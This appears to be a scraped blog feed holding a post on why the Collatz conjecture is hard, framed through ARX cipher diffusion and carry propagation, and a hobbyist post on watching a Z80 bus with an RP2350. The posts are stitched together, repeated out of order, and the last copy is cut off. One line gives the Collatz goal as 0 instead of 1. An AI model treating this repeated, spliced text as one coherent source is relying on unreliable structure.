The main thing I want you to take away is that addition is much more complicated than XOR because of carry propagation.
Original sticker made by CMYKat
(Poor edits made my me)On Computation and Information Theory
We use XOR to mix data (which could be plaintext, or could be all zeroes) with pseudo-random bytes, since it’s perfectly hiding so long as the bytes we’re mixing them with is unknown. This is the intuition underlying one-time pads and modern stream ciphers (including the ones we’re discussing).
In the context of ARX, because some operations (addition) propagate carries and others don’t (XOR), when you combine these steps with rotating the bits in-place, it becomes very easy to mix the output bits in a short number of rounds of operations. Cryptographers measure how well bits are mixed across a large number of inputs and reject designs that don’t perform well (generally speaking).
But a direct consequence of the hidden complexity of addition with carry is that the state you’re operating within is larger than the output. This means that some information is used (carried over from previous bits or limbs) that is not revealed directly in the output bit(s).
It’s easy to add two numbers together, but if you don’t know either of the numbers, it’s impossible to know the other (unless, of course, a side-channel leaks enough information to deduce one of them).
“That’s neat and all, but what does it imply?”
Don’t worry, I’m going somewhere with this.
CMYKatTuring the Page
Let’s briefly talk about Turing machines.
The relevant Wikipedia article covers them adequately well. For everyone else, another Veritasium video:
https://www.youtube.com/watch?v=HeQX2HjkcNo
A Turing machine is a mathematical model for computation.
The basic idea is that you have a tape of symbols, a head that reads from the tape, and an internal state that determines the next move.
We don’t need too formal of a treatment here. I’m not exactly trying to prove the halting problem is undecidable.
A dumb joke I like to tell my computer science friends:
I’ve solved the Halting problem! It’s called: “the heat death of the universe,” at which point the program fucking halts!
But do put a pin in this, because it will come up towards the end.
CMYKatBitwise Collatz Functions
Above, I wrote a bit of code that implements the Collatz function, but I was a bit lazy about it.
In truth, you don’t need multiplication or the modulo operator. You can, instead, use bitwise operations and one addition.
- The modulo 2 check can be replaced by a bitwise AND mask with 1. Odd values will return 1, even will return 0.
- When the least significant bit is 0:
Dividing by 2 is the same as right-shifting by 1. - When the least significant bit is 1:
Multiplying by 3 then adding 1 can be rewritten as the following steps:- Left shift by 1 (2n)
- Set the lower bit to 1 (+1), using bitwise OR
- Add the original number (+n)
Thus, our function instead looks like:
function collatz(num) { console.log(num); if (num === 1) { return; } return (num & 1) ? collatz(((num << 1) | 1) + num) : collatz(num >> 1);}That is to say, you can implement most of the Collatz function with bitwise operators, and only need one addition (with carries) in the end.
Suddenly, the discussion above about carry propagation might seem a lot more relevant!
Art by AJSmall Example
Imagine you encode a number as a binary string. For example, 257.
When you work through the algorithm sketched out above, you end up doing this:
n == 0001_0000_0001 2*n == 0010_0000_0010 # left shift by 1 2*n + 1 == 0010_0000_0011 # bitwise OR with 1 add: 0001_0000_0001 # n 0010_0000_0011 # 2n + 1 # This is where carry propagation comes in! result: 0011_0000_0100
When you perform the 3n+1 branch of the Collatz function the way I constructed it, that last addition of n will propagate carries.
And that carry propagation is where the trouble starts.
Since the (3n+1) branch is only ever invoked with odd values for n, you can guarantee that the next step will be followed by at least one division by 2 (since 3n+1 is even for any odd n).
This allows you look ahead two steps at a time, but there is no easy way to predict how many back-to-back (3n+1)/2 two-steps you will encounter from a given value. Instead, you have to actually perform the calculation and see what happens.
AJCollatz Machines
The input and output of the Collatz function is an integer of arbitrary size. The behavior branches depending on the least significant bit of the input.
You can think of the least significant bit as the “head” of a machine similar to a Turing machine.
However, instead of moving the head along a tape, the Collatz function does one of two things:
- Moves the symbols on the tape one space to the right (somewhat familiar territory for Turing Machines).
- Rewrites all of the symbols on the tape to the left of the head, according to some algorithm. This algorithm makes the tape longer.
As we observed previously, the carry propagation implicit to addition makes the bits diffuse in a way that’s hard to generalize faster than simply performing the addition and seeing what results from it.
Proving that this Collatz machine halts for all positive inputs would also prove the Collatz Conjecture. But as we saw with proper Turing Machines, this might not be possible.
Pedants on the /r/math subreddit were quick to point out that this isn’t necessarily true, but the goal of this blog post was not to state a technically precise truth, but to explore the Collatz conjecture from a different angle.
The important disclaimer at the top isn’t some cop-out boilerplate I slap on everything I write to absolve me of any retribution for my mistakes. It’s actually important for everyone to read and understand it.
The entire point of this blog is “hey, here’s a neat idea to think about” not “here’s a universal truth about mathematics I discovered”. For that, I would have written an actual paper, not a furry blog. Unfortunately, I have no new insights to offer on anything, nor will I probably ever.
I recommend reading the comment I linked at the start of this quoted section, as it’s grounded in a more formal mathematics understanding than this blog post.
Is It Unsolvable?
With all this in mind, in the general case, the Collatz Conjecture may very well one day prove to be as undecidable as the Halting Problem.
Or, maybe someone will find a cycle within the integer space that fails to ever reach 1.
Art: CMYKatAs it stands right now, there have been a lot of interesting approaches to try to solve it. The first Veritasium video linked above talked about some of these ideas.
Maybe we need new mathematic tools first. Or perhaps the Langlands project will uncover a relationship between unrelated areas of mathematical research that already exist today that will yield an answer to this nearly century-old conjecture.
Either way, I hope you find this topic… mildly interesting. Enough to appreciate the problem, not so much that you think you can solve it yourself.
Art: AJStay safe, don’t drink and derive, and happy hacking.
#CollatzConjecture #define #HaltingProblem #mathematics #TuringMachines
-
Collatzeral Damage: Bitwise and Proof Foolish
Let’s talk about the Collatz Conjecture, which is like mathematicians’ original version of this programmer joke:
Except the number of mathematician hours wasted is much larger, possibly too large for uint32_t to hold it.The Collatz conjecture is an infamous trap for the young and ambitious. Despite its simple construction, it has evaded proofs and general solutions for nearly a century. Veritasium made a video about this conjecture, which I recommend:
https://www.youtube.com/watch?v=094y1Z2wpJg
The Collatz conjecture involves a recursive function that contains one branch: If a number is odd, multiply it by 3 then add 1. If it is even, divide it by 2.
The conjecture states that repeating this operation will eventually reach 1 for all positive integers.
Quick observation:
- Even numbers take you closer to your goal of reaching your goal (reaching 0).
- Odd numbers take you further away from your goal.
You can write recursive code that implements the Collatz function like so:
function collatz(num) { console.log(num); if (num === 1) { return; } return (num % 2 === 1) ? collatz((3 * num) + 1) : collatz(num >> 1);}If the Collatz conjecture is false, there is some integer for which the
returnstatement will never be reached.We don’t know if the conjecture is true or not.
We do know that it has held up for a hell of a lot of positive integers (from a human perspective), and have yet to find a counterexample, but we don’t know if it’s necessarily true for all positive integers.
What if there’s actually a cycle somewhere (similar to what I discussed in the context of hash functions)?
That mathematicians don’t know the answer isn’t really interesting for the readers of this blog, but why the answer is so elusive (despite the intuitive simple construction of the function central to the Collatz conjecture) is something I think we can say something interesting about.
AJBut first, let’s talk about a class of cryptographic algorithm that serves as the building block for several types of hash functions and stream ciphers used across the Internet today.
Important
I am taking a lot of liberties in this blog post, and I am prioritizing clarity over technical precision.
Readers will be better served by cross-referencing this entertainment-focused blog post with the work of actual mathematicians.
And for the pedants in the audience: if something seems imprecise, it’s probably because I made a trade-off to help a wider audience gain a basic intuition.
Add, Rotate, XOR (ARX)
ARX is a category of cryptography algorithms that is used to build various cryptography building blocks. The SHA-2 family of hash functions and the ChaCha stream cipher both an ARX construction (and both are used in a lot of Internet traffic).
Let’s focus on ChaCha for the moment, focusing on the reference implementation that ships with libsodium:
#define U32C(v) (v##U)#define U32V(v) ((uint32_t)(v) &U32C(0xFFFFFFFF))#define ROTATE(v, c) (ROTL32(v, c))#define XOR(v, w) ((v) ^ (w))#define PLUS(v, w) (U32V((v) + (w)))#define PLUSONE(v) (PLUS((v), 1))#define QUARTERROUND(a, b, c, d) \ a = PLUS(a, b); \ d = ROTATE(XOR(d, a), 16); \ c = PLUS(c, d); \ b = ROTATE(XOR(b, c), 12); \ a = PLUS(a, b); \ d = ROTATE(XOR(d, a), 8); \ c = PLUS(c, d); \ b = ROTATE(XOR(b, c), 7);
At the core of ChaCha is the quarter round function. This is applied on alternating columns and diagonals of the input state until the desired number of rounds has been completed.
for (i = 20; i > 0; i -= 2) { QUARTERROUND(x0, x4, x8, x12) QUARTERROUND(x1, x5, x9, x13) QUARTERROUND(x2, x6, x10, x14) QUARTERROUND(x3, x7, x11, x15) QUARTERROUND(x0, x5, x10, x15) QUARTERROUND(x1, x6, x11, x12) QUARTERROUND(x2, x7, x8, x13) QUARTERROUND(x3, x4, x9, x14)}After all rounds are complete, the initial state is added to the output. This 512-bit state includes the key (which consists of up to 256 bits), nonce, and some constant values. Because half of the input bytes are your secret key, an attacker without knowledge of the key cannot invert the calculation.
ChaCha is an improvement of another stream cipher from the same family as the eSTREAM finalist, Salsa20. ChaCha improved the diffusion per round and performance. This makes ChaCha less susceptible to cryptanalysis, even in extremely reduced-round variants (e.g., ChaCha8 vs ChaCha20).
As interesting as all that is, the important bits to know is that the ChaCha update emphasized improving diffusion.
What does that mean, exactly?
Art: HarubakiWhat is Diffusion?
Diffusion is a measurement of how much the output state changes when each bit differs in the input state.
This is important for making it difficult to statistically analyze the relationship between the input and outputs of a cryptographic function.
ARX Diffusion
ARX consists of three operations: Rotation (sliding bits around like a flywheel), addition, and eXclusive OR (also known as XOR).
Comparing Salsa20 and ChaCha’s quarter round, using the notation from the source code on Wikipedia, you see:
Salsa20 Quarter Round
b ^= (a + d) <<< 7;c ^= (b + a) <<< 9;d ^= (c + b) <<< 13;a ^= (d + c) <<< 18;
Addition then rotation then XOR.
ChaCha Quarter Round
a += b; d ^= a; d <<<= 16;c += d; b ^= c; b <<<= 12;a += b; d ^= a; d <<<= 8;c += d; b ^= c; b <<<= 7;
Addition then XOR then rotation.
Each step of the quarter round function still involves addition, rotation, and XOR, but their usage is different. (Also, they just update values directly rather than involving an extra temporary value to implicitly occupy a stack register.)
And it’s subtle, but if you play with these different quarter rounds with slightly different inputs, you can see how the diffusion is improved with the second construction in fewer numbers of rounds.
“Why does diffusion matter?”
Bit diffusion in ARX constructions is one of the ways that ciphers ensure their output remains indistinguishable from a random oracle.
If you’ve ever looked at a cryptographic hash function before, or heard about the “avalanche effect“, that’s precisely what we want out of these ARX constructions.
“So what?”
As some of you might remember from your studies, XOR is just addition without carry (mod 2).
If you repeat your same experimentation but only use one operation (AR or RX), you’ll find that your diffusion is poor.
This is because addition is an abstraction that hides a very important feature that’s often taken for granted.
CMYKatCarry Propagation
Let’s say, for a learning exercise, you wanted to build integer addition entirely out of bitwise operators: AND, OR, NOT, XOR, and the left and right bit shift operators.
As already mentioned above, XOR is just addition without carry. So that part’s easy:
def add_bits_no_carry(x, y): return x ^ y
How about carrying values to the next place? Well, consider the following table:
XYCalculated Carry Value000100010111That third column sure looks like an “AND” operator, does it not?
Great, but what if you had a carry value from the previous step?
Well, now you have to implement two half-adders: One to handle the input carry value with one input, and the other to handle the other input and produce the next output carry value.
def half_adder(x, y): return [x ^ y, x & y]def add_bits(x, y, c_in): [a, b] = half_adder(x, y) [d, e] = half_adder(a, c_in) return [d, b ^ e]
If you feel lost, this hardware tutorial explains it with diagrams.
The main thing I want you to take away is that addition is much more complicated than XOR because of carry propagation.
Original sticker made by CMYKat
(Poor edits made my me)On Computation and Information Theory
We use XOR to mix data (which could be plaintext, or could be all zeroes) with pseudo-random bytes, since it’s perfectly hiding so long as the bytes we’re mixing them with is unknown. This is the intuition underlying one-time pads and modern stream ciphers (including the ones we’re discussing).
In the context of ARX, because some operations (addition) propagate carries and others don’t (XOR), when you combine these steps with rotating the bits in-place, it becomes very easy to mix the output bits in a short number of rounds of operations. Cryptographers measure how well bits are mixed across a large number of inputs and reject designs that don’t perform well (generally speaking).
But a direct consequence of the hidden complexity of addition with carry is that the state you’re operating within is larger than the output. This means that some information is used (carried over from previous bits or limbs) that is not revealed directly in the output bit(s).
It’s easy to add two numbers together, but if you don’t know either of the numbers, it’s impossible to know the other (unless, of course, a side-channel leaks enough information to deduce one of them).
“That’s neat and all, but what does it imply?”
Don’t worry, I’m going somewhere with this.
CMYKatTuring the Page
Let’s briefly talk about Turing machines.
The relevant Wikipedia article covers them adequately well. For everyone else, another Veritasium video:
https://www.youtube.com/watch?v=HeQX2HjkcNo
A Turing machine is a mathematical model for computation.
The basic idea is that you have a tape of symbols, a head that reads from the tape, and an internal state that determines the next move.
We don’t need too formal of a treatment here. I’m not exactly trying to prove the halting problem is undecidable.
A dumb joke I like to tell my computer science friends:
I’ve solved the Halting problem! It’s called: “the heat death of the universe,” at which point the program fucking halts!
But do put a pin in this, because it will come up towards the end.
CMYKatBitwise Collatz Functions
Above, I wrote a bit of code that implements the Collatz function, but I was a bit lazy about it.
In truth, you don’t need multiplication or the modulo operator. You can, instead, use bitwise operations and one addition.
- The modulo 2 check can be replaced by a bitwise AND mask with 1. Odd values will return 1, even will return 0.
- When the least significant bit is 0:
Dividing by 2 is the same as right-shifting by 1. - When the least significant bit is 1:
Multiplying by 3 then adding 1 can be rewritten as the following steps:- Left shift by 1 (2n)
- Set the lower bit to 1 (+1), using bitwise OR
- Add the original number (+n)
Thus, our function instead looks like:
function collatz(num) { console.log(num); if (num === 1) { return; } return (num & 1) ? collatz(((num << 1) | 1) + num) : collatz(num >> 1);}That is to say, you can implement most of the Collatz function with bitwise operators, and only need one addition (with carries) in the end.
Suddenly, the discussion above about carry propagation might seem a lot more relevant!
Art by AJSmall Example
Imagine you encode a number as a binary string. For example, 257.
When you work through the algorithm sketched out above, you end up doing this:
n == 0001_0000_0001 2*n == 0010_0000_0010 # left shift by 1 2*n + 1 == 0010_0000_0011 # bitwise OR with 1 add: 0001_0000_0001 # n 0010_0000_0011 # 2n + 1 # This is where carry propagation comes in! result: 0011_0000_0100
When you perform the 3n+1 branch of the Collatz function the way I constructed it, that last addition of n will propagate carries.
And that carry propagation is where the trouble starts.
Since the (3n+1) branch is only ever invoked with odd values for n, you can guarantee that the next step will be followed by at least one division by 2 (since 3n+1 is even for any odd n).
This allows you look ahead two steps at a time, but there is no easy way to predict how many back-to-back (3n+1)/2 two-steps you will encounter from a given value. Instead, you have to actually perform the calculation and see what happens.
AJCollatz Machines
The input and output of the Collatz function is an integer of arbitrary size. The behavior branches depending on the least significant bit of the input.
You can think of the least significant bit as the “head” of a machine similar to a Turing machine.
However, instead of moving the head along a tape, the Collatz function does one of two things:
- Moves the symbols on the tape one space to the right (somewhat familiar territory for Turing Machines).
- Rewrites all of the symbols on the tape to the left of the head, according to some algorithm. This algorithm makes the tape longer.
As we observed previously, the carry propagation implicit to addition makes the bits diffuse in a way that’s hard to generalize faster than simply performing the addition and seeing what results from it.
Proving that this Collatz machine halts for all positive inputs would also prove the Collatz Conjecture. But as we saw with proper Turing Machines, this might not be possible.
Pedants on the /r/math subreddit were quick to point out that this isn’t necessarily true, but the goal of this blog post was not to state a technically precise truth, but to explore the Collatz conjecture from a different angle.
The important disclaimer at the top isn’t some cop-out boilerplate I slap on everything I write to absolve me of any retribution for my mistakes. It’s actually important for everyone to read and understand it.
The entire point of this blog is “hey, here’s a neat idea to think about” not “here’s a universal truth about mathematics I discovered”. For that, I would have written an actual paper, not a furry blog. Unfortunately, I have no new insights to offer on anything, nor will I probably ever.
I recommend reading the comment I linked at the start of this quoted section, as it’s grounded in a more formal mathematics understanding than this blog post.
Is It Unsolvable?
With all this in mind, in the general case, the Collatz Conjecture may very well one day prove to be as undecidable as the Halting Problem.
Or, maybe someone will find a cycle within the integer space that fails to ever reach 1.
Art: CMYKatAs it stands right now, there have been a lot of interesting approaches to try to solve it. The first Veritasium video linked above talked about some of these ideas.
Maybe we need new mathematic tools first. Or perhaps the Langlands project will uncover a relationship between unrelated areas of mathematical research that already exist today that will yield an answer to this nearly century-old conjecture.
Either way, I hope you find this topic… mildly interesting. Enough to appreciate the problem, not so much that you think you can solve it yourself.
Art: AJStay safe, don’t drink and derive, and happy hacking.
#CollatzConjecture #define #HaltingProblem #mathematics #TuringMachines
-
Watching a Z80 from an RP2350
I’m messing around with the Raspberry Pi Pico RP2350 and PIO and at some point want to see if I can hook it up to a Z80.
As a starter, I’ve been experimenting with seeing if I can get an RP2350 to see the Z80 address and data bus in any manner.
I’m using a Pimoroni PGA2350 in my own custom breakout PCB.
https://makertube.net/w/vPwqyBG8s5XBZzN3Zwwfrz
The Z80 Bus
There is a lot of detail out there about the Z80 and Z80 bus, so I’m not going to go over that again here, but here are some key references:
- http://www.z80.info/ – the home of everything Z80!
- The RC2014 bus specification and description.
- Electronic Circuits – interfacing with a Z80 microprocessor v3 (data and address buses).
- Z80 User Manual – Chapter on “Timing”.
- Build Your Own Z80 Computer – Steve Ciarcia
The key features relevant to me are:
- 16-bit address bus (A0-A15).
- 8-bit data bus (D0-D7).
- A number of OUTPUT control lines.
- A number of INPUT control lines (including RESET and CLOCK).
The original Z80 was an NMOS device and ran at 2.5MHz (Z80), but there were 4MHz (Z80A) and 6MHz (Z80B) versions soon afterwards. Then the CMOS versions appeared with a whole range of clock speeds, typically 8MHz (Z84C0008) and 10MHz (Z84C0010), and even up to 20MHz (Z84C0020). They were made by a whole host of different manufacturers – Zilog, SGS, ST, NEC, Mostek, etc (more here), but they don’t all seem to have had the same numbering schemes that I could find.
It was discontinued in 2024, although some overseas marketplaces assure me that they can provide brand new 20MHz Zilog Z84C0020’s at less than a few £s each 😉
A Z80 CPU Tester will give an idea of the type and speed of any unknown Z80 found “in the wild” though (I had fun testing a batch of said “20MHz” devices myself).
The Z80 Clock
Of particular interest to me is the clock speed. In particular, what is the minimum clock speed possible? There are some (modern, apparently) versions of the Z80 that are fully static – i.e. they will retain state between clock pulses, including a complete stop. But I’m not clear if most are. But seeing as someone managed to create a hand-cranked, clocked Z80 based computer, I suspect a really slow clock is unlikely to be an issue. There is a note here that it is best to hold the clock HIGH when not being cycled.
Going back to the original Z80A datasheet, we find:
The max clock period is defined in note [12] as:
So basically adding those values together. The max pulse width for LOW has a given value of 2000nS, and the rise and fall times are fixed at 30nS, so key to determining the longest period accepted is the max pulse width for HIGH. That is provided in note [E]:
So the implication is that clock LOWs should be no longer than 2uS, but clock HIGHs in principle can be anything, with guaranteed functionality up to 200uS. This gives a total clock period of at least around 203uS which equates to a clock frequency of just under 5KHz.
This explains the previous noted comment about holding clocks HIGH.
One issue could be that some signals need several clock cycles. In particular, RESET is expected to be held for 3 clock cycles to ensure a proper reset occurs, so that will naturally have to be longer for longer clock pulses.
It is worth noting at this point that the Z80 has two concepts of a cycle: machine (M) cycles and clock (T) cycles (sometimes called states). Machine cycles are multiples of clock cycles (typically 3 to 6 T cycles per M cycle). Many Z80 instruction references will list the number of cycles (M) and states (T) that an instruction will take to execute.
There is also the option for an external peripheral (e.g. memory) to get the Z80 CPU to wait. This involves asserting the /WAIT signal until the peripheral is ready to continue. This allows synchronisation between the CPU and slower memory.
Part of the consequence of all this is that a single-clock-cycling option isn’t particularly useful, as it will need several steps of the single-cycle clock to execute a single Z80 instruction.
For interest, there is an instruction-aware single-stepper circuit in the Build Your Own Z80 Computer book (figure 4.5), which can monitor /M1 and use /WAIT to pause the CPU until the next step.
RP2350 GPIO
I’m using the Arduino Pico core from here: https://github.com/earlephilhower/arduino-pico
Which makes it easy to build and download code to the RP2350, but I’m trying to stick to Pico C/C++ SDK functions rather than using the Arduino environment overlays.
To initialse GPIO on an RP2040/RP2350 requires the following:
gpio_init(pin);
gpio_set_dir(pin, dir);
gpio_put(pin, value);
value = gpio_get(pin);But this is too slow for a bus read. But there is an option to act on several GPIO pins at the same time, for example:
gpio_init_mask(gpiobitmap);
gpio_set_dir_in_masked(gpiobitmap);
gpio_clr_mask(gpio_bitmap);
gpio_set_mask(gpio_bitmap);
uint32_t value = gpio_get_all();But these APIs were designed with the RP2040 in mind, and so only needs to address up to 32 GPIO pins. The RP2350B I’m using has 48 GPIO, so the SDK has the concept of a GPIO base, which can be 0 (for the range 0-31) or 1 (for the range 32-63).
Unfortunately how this appears in the API is a little inconsistent. In some cases there is a _n version of the API which takes a base (0 or 1) as a parameter. In some cases, e.g. for single GPIO pins, any value up to the maximum supported is fine.
PIO is different again and the base needs to be set before hand using pio_set_gpio_base. But for PIO the base is treated differently: base 0 is GPIO 0-31, but base 1 is GPIO 16-47. I guess this is to allow a fully parallel 32 GPIO pins in both cases, but it is confusing being different to the non-PIO functions.
Some API functions don’t have an equivalent (that I could find anyway), so I could find no “base 1” version of gpio_init_mask.
To initialise all the GPIO I need uses the following:
gpio_init_mask(GP_BASE0_MASK);
gpio_set_dir_in_masked(GP_BASE0_MASK);
for (int i=0; i<GP_LED_PINS; i++) {
gpio_init(ledPins[i]);
gpio_set_dir(ledPins[i], true); // out = true
}I also find it really annoying that there are gpio_set_dir_in/out functions for combinations of pins, but for a single pin you have to use gpio_set_dir(pin, direction) where direction is a bool indicating out or not.
RP2350 Test Code
The simplest code will take what is received on the Z80 data bus and write it straight out to some LEDs. This is what is going on in the following code.
Note this is NOT real-time – it is just a continually updating snapshot of the data bus, not an accurate representation of the full activity and certainly not synchronised to any of the bus control signals.
In short, it looks pretty, but is essentially useless for any practical purposes. But it illustrates the idea and shows the connections are working.
// GPIO Base 0 Definitions
// Start from GPIO 0 up to GPIO 31
//
#define GP_ADDR_START 0ul
#define GP_ADDR_PINS 16ul
#define GP_ADDR_MASK (0xFFFFul<<GP_ADDR_START)
#define GP_DATA_START 16ul
#define GP_DATA_PINS 8ul
#define GP_DATA_MASK (0xFFul<<GP_DATA_START)
#define GP_RD 24ul
#define GP_WR 25ul
#define GP_M1 28ul
#define GP_MREQ 30ul
#define GP_IORQ 31ul
#define GP_CTRL_MASK ((1ul<<GP_RD)|(1ul<<GP_WR)|(1ul<<GP_M1)|(1ul<<GP_MREQ)|(1ul<<GP_IORQ))
#define GP_CTRL_PINS 5ul
int ctrlPins[GP_CTRL_PINS] = {GP_RD, GP_WR, GP_M1, GP_MREQ, GP_IORQ};
#define GP_BASE0_MASK (GP_ADDR_MASK | GP_DATA_MASK | GP_CTRL_MASK)
// GPIO Base 1 Definitions
// Start from GPIO 32 onwards
//
#define GP_LED_START 40
#define GP_LED_MASK (0xFF<<(GP_LED_START-32))
#define GP_LED_PINS 8
int ledPins[GP_LED_PINS] = {40,41,42,43,44,45,46,47};
#define GP_BASE1_MASK (GP_LED_MASK)
void setup() {
// Pins in range lower than 32 can be initialised at once
gpio_init_mask(GP_BASE0_MASK);
gpio_set_dir_in_masked(GP_BASE0_MASK);
// Set the LED outputs
// Can't be set all at once I think...
for (int i=0; i<GP_LED_PINS; i++) {
gpio_init(ledPins[i]);
gpio_set_dir(ledPins[i], true); // out = true
}
}
void loop() {
uint32_t gpio31 = gpio_get_all();
uint8_t data8 = (GP_DATA_MASK & gpio31) >> GP_DATA_START;
gpio_clr_mask_n(1, GP_LED_MASK);
gpio_set_mask_n(1, (data8<<(GP_LED_START-32)));
delay(5);
}RC2350 8-bit IO Module
Having got this far, it is now possible to check for various control values on the Z80 bus, for example perhaps looking for an IO write to a certain address.
For an IO write, I need to look for /IORQ and /WR going LOW and then the address I’m interested in appearing in the lower 8 bits of the address bus. Then I can pull the data off the data bus.
The following code looks for a write to IO address 0 and lights the LEDs according to the value of the data bus.
void loop() {
uint32_t gpio32 = gpio_get_all();
// Look for /IORQ, /WR, and ADDR matching IO location 0
if (
((gpio32 & GP_CTRL_MASK) == ((1<<GP_RD)|(0<<GP_WR)|(1<<GP_M1)|(1<<GP_MREQ)|(0<<GP_IORQ)))
&& ((gpio32 & 0xFF) == 0)
)
{
// Grab the data off the bus and update LEDs
uint8_t data8 = (GP_DATA_MASK & gpio32) >> GP_DATA_START;
gpio_clr_mask_n(1, GP_LED_MASK);
gpio_set_mask_n(1, (data8<<(GP_LED_START-32)));
}
}I’ve basically used a 32-bit dual-core ARM CORTEX M0+ running at 150MHz to emulate a couple of TTL logic chips as can be found in the RC2014 digital IO module to flash some LEDs from an 8-bit, 10MHz processor!
This is the BASIC code that is running on the RC2014:
10 FOR F=1 TO 6
20 OUT 0,2^F
30 GOSUB 100
40 NEXT F
50 FOR F=7 TO 0 STEP -1
60 OUT 0,2^F
70 GOSUB 100
80 NEXT F
90 GOTO 10
100 FOR Z=1 TO 200
110 NEXT Z
120 RETURNYou can see this running in the video at the start of this post.
Conclusion
Naturally this is a pretty crazy thing to be doing, but it is showing the basic idea.
At present, this is just running at full CPU speed, consuming one of the cores of the RP2350 just to watch what is going on, on the bus.
There are a number of interesting directions that could now be taken. Some that I’m pondering are:
- Support both read and write, i.e. INPUT and OUTPUT IO access.
- Getting the IO handling onto one core of the RP2350 whilst the other core does something with the information.
- A memory-mapped device, watching for memory reads and writes.
- Controlling the Z80 clock from the RP2350 for some interesting clock control possibilities – varying speeds, instruction aware-stepping, etc.
- Go back to my experiments with PIO on the Raspberry Pi Pico to see if I can do it more autonomously.
- Emulate some of the existing Z80 peripherals, similar to how the Pico is used on the RP6502 The Picocomputer.
I doubt many of these will get past the thinking stage, but there are a lot of options now the basic mechanisms seem to work.
Kevin
#pga2350 #rc2014 #rp2350 #z80 -
Watching a Z80 from an RP2350
I’m messing around with the Raspberry Pi Pico RP2350 and PIO and at some point want to see if I can hook it up to a Z80.
As a starter, I’ve been experimenting with seeing if I can get an RP2350 to see the Z80 address and data bus in any manner.
I’m using a Pimoroni PGA2350 in my own custom breakout PCB.
https://makertube.net/w/vPwqyBG8s5XBZzN3Zwwfrz
The Z80 Bus
There is a lot of detail out there about the Z80 and Z80 bus, so I’m not going to go over that again here, but here are some key references:
- http://www.z80.info/ – the home of everything Z80!
- The RC2014 bus specification and description.
- Electronic Circuits – interfacing with a Z80 microprocessor v3 (data and address buses).
- Z80 User Manual – Chapter on “Timing”.
- Build Your Own Z80 Computer – Steve Ciarcia
The key features relevant to me are:
- 16-bit address bus (A0-A15).
- 8-bit data bus (D0-D7).
- A number of OUTPUT control lines.
- A number of INPUT control lines (including RESET and CLOCK).
The original Z80 was an NMOS device and ran at 2.5MHz (Z80), but there were 4MHz (Z80A) and 6MHz (Z80B) versions soon afterwards. Then the CMOS versions appeared with a whole range of clock speeds, typically 8MHz (Z84C0008) and 10MHz (Z84C0010), and even up to 20MHz (Z84C0020). They were made by a whole host of different manufacturers – Zilog, SGS, ST, NEC, Mostek, etc (more here), but they don’t all seem to have had the same numbering schemes that I could find.
It was discontinued in 2024, although some overseas marketplaces assure me that they can provide brand new 20MHz Zilog Z84C0020’s at less than a few £s each 😉
A Z80 CPU Tester will give an idea of the type and speed of any unknown Z80 found “in the wild” though (I had fun testing a batch of said “20MHz” devices myself).
The Z80 Clock
Of particular interest to me is the clock speed. In particular, what is the minimum clock speed possible? There are some (modern, apparently) versions of the Z80 that are fully static – i.e. they will retain state between clock pulses, including a complete stop. But I’m not clear if most are. But seeing as someone managed to create a hand-cranked, clocked Z80 based computer, I suspect a really slow clock is unlikely to be an issue. There is a note here that it is best to hold the clock HIGH when not being cycled.
Going back to the original Z80A datasheet, we find:
The max clock period is defined in note [12] as:
So basically adding those values together. The max pulse width for LOW has a given value of 2000nS, and the rise and fall times are fixed at 30nS, so key to determining the longest period accepted is the max pulse width for HIGH. That is provided in note [E]:
So the implication is that clock LOWs should be no longer than 2uS, but clock HIGHs in principle can be anything, with guaranteed functionality up to 200uS. This gives a total clock period of at least around 203uS which equates to a clock frequency of just under 5KHz.
This explains the previous noted comment about holding clocks HIGH.
One issue could be that some signals need several clock cycles. In particular, RESET is expected to be held for 3 clock cycles to ensure a proper reset occurs, so that will naturally have to be longer for longer clock pulses.
It is worth noting at this point that the Z80 has two concepts of a cycle: machine (M) cycles and clock (T) cycles (sometimes called states). Machine cycles are multiples of clock cycles (typically 3 to 6 T cycles per M cycle). Many Z80 instruction references will list the number of cycles (M) and states (T) that an instruction will take to execute.
There is also the option for an external peripheral (e.g. memory) to get the Z80 CPU to wait. This involves asserting the /WAIT signal until the peripheral is ready to continue. This allows synchronisation between the CPU and slower memory.
Part of the consequence of all this is that a single-clock-cycling option isn’t particularly useful, as it will need several steps of the single-cycle clock to execute a single Z80 instruction.
For interest, there is an instruction-aware single-stepper circuit in the Build Your Own Z80 Computer book (figure 4.5), which can monitor /M1 and use /WAIT to pause the CPU until the next step.
RP2350 GPIO
I’m using the Arduino Pico core from here: https://github.com/earlephilhower/arduino-pico
Which makes it easy to build and download code to the RP2350, but I’m trying to stick to Pico C/C++ SDK functions rather than using the Arduino environment overlays.
To initialse GPIO on an RP2040/RP2350 requires the following:
gpio_init(pin);
gpio_set_dir(pin, dir);
gpio_put(pin, value);
value = gpio_get(pin);But this is too slow for a bus read. But there is an option to act on several GPIO pins at the same time, for example:
gpio_init_mask(gpiobitmap);
gpio_set_dir_in_masked(gpiobitmap);
gpio_clr_mask(gpio_bitmap);
gpio_set_mask(gpio_bitmap);
uint32_t value = gpio_get_all();But these APIs were designed with the RP2040 in mind, and so only needs to address up to 32 GPIO pins. The RP2350B I’m using has 48 GPIO, so the SDK has the concept of a GPIO base, which can be 0 (for the range 0-31) or 1 (for the range 32-63).
Unfortunately how this appears in the API is a little inconsistent. In some cases there is a _n version of the API which takes a base (0 or 1) as a parameter. In some cases, e.g. for single GPIO pins, any value up to the maximum supported is fine.
PIO is different again and the base needs to be set before hand using pio_set_gpio_base. But for PIO the base is treated differently: base 0 is GPIO 0-31, but base 1 is GPIO 16-47. I guess this is to allow a fully parallel 32 GPIO pins in both cases, but it is confusing being different to the non-PIO functions.
Some API functions don’t have an equivalent (that I could find anyway), so I could find no “base 1” version of gpio_init_mask.
To initialise all the GPIO I need uses the following:
gpio_init_mask(GP_BASE0_MASK);
gpio_set_dir_in_masked(GP_BASE0_MASK);
for (int i=0; i<GP_LED_PINS; i++) {
gpio_init(ledPins[i]);
gpio_set_dir(ledPins[i], true); // out = true
}I also find it really annoying that there are gpio_set_dir_in/out functions for combinations of pins, but for a single pin you have to use gpio_set_dir(pin, direction) where direction is a bool indicating out or not.
The GPIO pin map I’m using is the same as that used by the picoZ80:
RP2350 GPIOZ80 Bus0-15A0-A1516-23D0-D724/RD25/WR26/BUSACK27/HALT28/M129/RFSH30/MREQ31/IORQ32/BUSRQ33/INT34/WAIT35/CLK36/NMI37Not used38/RESETRP2350 Test Code
The simplest code will take what is received on the Z80 data bus and write it straight out to some LEDs. This is what is going on in the following code.
Note this is NOT real-time – it is just a continually updating snapshot of the data bus, not an accurate representation of the full activity and certainly not synchronised to any of the bus control signals.
